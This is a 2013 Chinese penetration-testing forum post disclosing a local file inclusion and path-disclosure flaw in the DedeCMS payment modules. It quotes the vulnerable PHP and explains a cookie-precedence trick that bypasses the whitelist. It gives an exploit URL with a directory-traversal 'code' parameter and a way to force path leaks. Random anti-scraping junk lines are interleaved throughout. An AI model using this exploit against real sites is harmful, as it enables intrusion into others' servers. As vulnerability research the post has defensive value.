中国网络渗透测试联盟
标题:
dedecms本地文件包含及物理路径泄露0day
[打印本页]
作者:
admin
时间:
2013-4-4 17:25
标题:
dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
$ Y% t% [4 N+ n
* V r' e- u( g3 c' A9 z
出现漏洞的两个文件为:
. v) H" c* r/ r* _) }5 U: v: B
Include/payment/alipay.php
1 S( a" A: E% p- c
Include/payment/yeepay.php
0 E2 \, p7 o- N$ w6 u0 a
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
( |, l$ W3 C0 _) @% _
. U" q s' ?8 T1 _- F9 \
Include/payment/alipay.php
9 d. y9 i! p# M0 T( Y7 ]
- x6 t( |: b+ \- l" V8 q) V
......
- C, V' S# n! Y
function respond()
9 i0 v6 i" t; d5 |
{
" k, l0 r0 }5 x& w/ O; m$ f
if (!empty($_POST))
! h0 M( j5 o" T7 p
{
2 k* | Q* m; |& R0 h |( k: A( V, P; n
foreach($_POST as $key => $data)
) |; [6 ~% {) {0 [/ W l
{
5 }+ g: e9 s6 f$ O
$_GET[$key] = $data;
" l# V+ N3 ]& j- f8 f
}
7 x( p9 e2 l, n* A" d
}
* \( ~$ J: v1 C6 U. Z$ v
/* 引入配置文件 */
1 j7 r% G) t/ c$ }# L, [
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
& M5 n- ^2 l @7 y. \
......
( }3 a5 m5 N( G& m
5 W! X9 V9 A0 h! f2 O3 i H
' p; P3 I/ m3 }5 ?( J
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
$ ` n, Y" h. P$ t
* j/ j: D& x) H! C# W: v2 N# z6 ]6 D
Include/payment/yeepay.php
. y# u) r5 m; T+ D/ J
+ Q/ h4 @9 f5 ^6 T1 `( a' h) i; v
& z+ a8 H ]7 B) S
; q- T P& ~$ ]6 z- K, M# A8 ?) P
......
3 j" a8 I# |# U
function respond()
7 y( f4 \* W+ Y4 F0 i
{
0 g# {0 J8 d4 x0 `
" l0 ]$ y8 [5 p8 G
/* 引入配置文件 */
6 d. c3 M7 F) T" E: t4 |
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
j# O' [4 ~1 M: r; L
& T/ ]7 \! w1 ^5 |9 `/ A) g% `
$p1_MerId = trim($payment['yp_account']);
9 j4 ]% T& X/ @4 k) G$ V
$merchantKey = trim($payment['yp_key']);
% `% x% i- N! u N3 b3 ]8 o6 L
......
% o X7 u: L2 g9 x
# l0 t% ?% b; {: E+ p: q: Q
2 i' i* M, l' R* ^
! T& A2 x1 u3 P |, b
6 n/ e1 Z$ \8 ~5 J# R/ I0 ?. t
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
7 d% I( U6 S t
# W3 @5 V+ e2 ~% F2 C1 Z
这两个方法在plus/carbuyaction.php文件调用。
9 h: d* g" i. k% K& ]
- }% ?4 Y% X- ? u
plus/carbuyaction.php
7 t: p; X+ `) I, [
9 E) j9 Q, T$ \* Q. _
......
# l! Q V5 Q" [0 C! s
} else if ($dopost == 'return') {
7 Y" v S6 M) [2 d1 W1 z# q6 h
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
* z2 b" m$ g& b) u
if (in_array($code, $write_list))
# q3 I# O( a. Z3 R
{
, w- E7 y s; |: R) M3 G5 d" P
require_once DEDEINC.'/payment/'.$code.'.php';
# j h6 Z) ^7 k8 D, k) j& F
$pay = new $code;
\8 ~: G9 _, e' m) i: x& N
$msg=$pay->respond();
5 _; K. W8 B5 c8 ?+ h( c
ShowMsg($msg, "javascript:;", 0, 3000);
) U( i; F8 Z: B$ C; b, g
exit();
6 {, W9 i- ^- _1 \& Q
} else {
* [1 {4 v' N1 ?! @
exit('Error:File Type Can\'t Recognized!');
1 e" v4 \$ h, Y& h6 d4 o
}
9 Z- G; V8 Z4 f1 W: m0 ~
}
. X" [2 n/ p+ o Z2 n; f6 p- ]. X
......
) I! z* L8 k; O2 z+ t, z
" p- W% O5 q+ Z8 W1 u: A! b# m
4 C( t/ d( H3 j% A- J
# ], H* z6 R* a' f; r* v0 [
. y8 i: G+ H8 k" M, @2 q$ n
4 B- }& k( p: Q9 q
, k0 g4 E9 t' L( y
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
- G2 s* s( Z$ i+ b' o
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
; H0 Q9 @7 Q/ I0 G0 X
( F) M; n! l$ d9 r( r/ T- J
回到include/common.inc.php来看看他的机制。
3 @! ]/ b1 c; K3 L) ^4 Z3 h: e
) w' W h/ x) T; j8 t% E+ V& i
% u+ k m3 l$ q1 \; ^
B3 d" m/ d- E
......
' v/ D3 u' S1 F/ D! V. B
foreach(Array('_GET','_POST','_COOKIE') as $_request)
4 b! ]/ l! N; u$ x
{
% e2 w: R: t) ]/ a
foreach($$_request as $_k => $_v)
; `3 i: D$ @* B4 X& [; H% i) x7 u
{
5 m, S+ p# X8 N8 t8 O' H7 `/ B; G
if($_k == 'nvarname') ${$_k} = $_v;
. \' Y+ {; W" G2 d* \5 u, ?/ O8 I
else ${$_k} = _RunMagicQuotes($_v);
! \ `2 Q! ~; |! l- S
}
) p; a6 u0 k F, K5 T) e- ?
}
( p4 c q% L6 Q' `8 ?/ P: O
......
* r; Q% N4 b% _) z% w% Y+ U
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:
http://www.php0day.com/plus/carb ... amp;code=../../tags
上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
. j; N% _ c7 |: x9 l
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2